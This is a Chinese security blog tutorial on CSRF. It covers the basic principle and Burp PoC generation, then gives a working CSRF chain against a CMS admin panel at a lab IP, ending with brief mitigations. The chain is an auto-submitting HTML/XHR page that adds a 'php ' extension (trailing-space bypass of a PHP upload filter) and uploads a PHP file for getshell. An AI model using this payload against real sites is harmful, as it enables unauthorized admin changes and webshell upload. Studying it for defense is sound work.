本文最后更新于:2019 , 六月 9日 星期日, 2:23 下午

简介 & 原理

CSRF(Cross-site request Forgery)是指跨站请求伪造,也被成为”One Click Attack”通常缩写(CSRF或XSRF)

CSRF通过伪装成受信任用户请求信任的网站
CSRF的攻击是建立在会话之上的!

原理
网站的cookie在浏览器中不会过期,只要不关闭浏览器或退出登录,在这期间,攻击者发送了构造后的CSRF脚本或者包含CSRF的脚本链接,可能会执行一些用户不想操作的事情!

主要是你的浏览器正处于与此网站的会话之中,那么在你权限内可进行的操作都是合法的!

也是就:攻击者盗用了你等身份,以你的身份进行一系列的操作


CSRF简易利用

找到你想要利用的功能,利用burp中的csrf-poc插件
进行poc的编写
然后保存,诱惑用户点击
成功
![](/images/Web/CSRF/burp csrf-poc.png)



CSRF之文件上传

很多时候文件上传,只有在后台才能执行,想要利用,就要突破限制可上传文件类型,只有这样才有机会利用文件上传getshell

function typecheck($str_type, $uptype) {
    if (empty($str_type)) return false;
    $allow_type = explode('|', $str_type);
    $newallowType = array();
    foreach ($allow_type as $key => $allow_type) {
        $allow_typefile = strtolower($allow_type);
        if ($allow_typefile == 'php') {
            continue;
        }
        $newallowType[$allow_type] = $allow_type;
    }
    if (array_key_exists($uptype, $newallowType)) {
        return true;
    } else {
        return false;
    }
}

Ps:小技巧:添加文件类型时添加一个.php(后面有空格)的文件类型,它能绕过$all_typefile==’php’的判断,同时在写入文件的时候windows能自动忽略最后面的空格

构造POC:
1.修改配置文件添加允许的上传文件类型
2.上传shell文件

<html>
  <body>
    <form action="http://192.168.219.129/admin/index.php?archive=management&action=setsave" id="CSRF" method="post">
    <input type="hidden" name="upfile_pictype" value="jpg|png|gif">
    <input type="hidden" name="uifile_movertype" value="swf|mpg|flv|mp4">
    <input type="hidden" name="upfile_filetype" value="zip|rar|doc|xls|php |pdf">
    </form>
    <script>
    function submitRequest()
    {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://192.168.219.129/admin/index.php?archive=filemanage&action=upfilesave", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------165693120326202");
        xhr.withCredentials = "true";
        var body = "-----------------------------165693120326202\r\n" +
          "Content-Disposition: form-data; name=\"path\"\r\n" +
          "\r\n" +
          "upfile/\r\n"+
          "-----------------------------165693120326202\r\n" +
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
          "\r\n" +
          "100000000\r\n" +
          "-----------------------------165693120326202\r\n" +
          "Content-Disposition: form-data; name=\"img_width\"\r\n" +
          "\r\n" +
          "200\r\n" +
          "-----------------------------165693120326202\r\n" +
          "Content-Disposition: form-data; name=\"img_height\"\r\n" +
          "\r\n" +
          "200\r\n" +
          "-----------------------------165693120326202\r\n" +
          "Content-Disposition: form-data; name=\"filetype\"\r\n" +
          "\r\n" +
          "file\r\n" +
          "-----------------------------165693120326202\r\n" +
          "Content-Disposition: form-data; name=\"lng\"\r\n" +
          "\r\n" +
          "cn\r\n" +
          "-----------------------------165693120326202\r\n" +
          "Content-Disposition: form-data; name=\"isgetback\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "-----------------------------165693120326202\r\n" +
          "Content-Disposition: form-data; name=\"upfilepath\"; filename=\"php.php \"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "<?php  phpinfo(); ?>\r\n" +
          "-----------------------------165693120326202--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
    }
    var f = document.getElementById("CSRF");
    f.submit();
    submitRequest()
    </script>
    <!--<form action="#">
      <input type="submit" value="Submit request" onclick="submitRequest();" />
    </form>-->
  </body>
</html>

漏洞修补

  • 验证HTTP Referer字段
  • 在请求地址中添加token并验证
  • 在HTTP头中自定义属性并验证

参考

https://xz.aliyun.com/t/240
https://xz.aliyun.com/t/1673
https://xz.aliyun.com/t/999
http://www.ms08067.com/


Web      Web

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

常用Google-hack语法
BurpSuite抓HTTPS数据包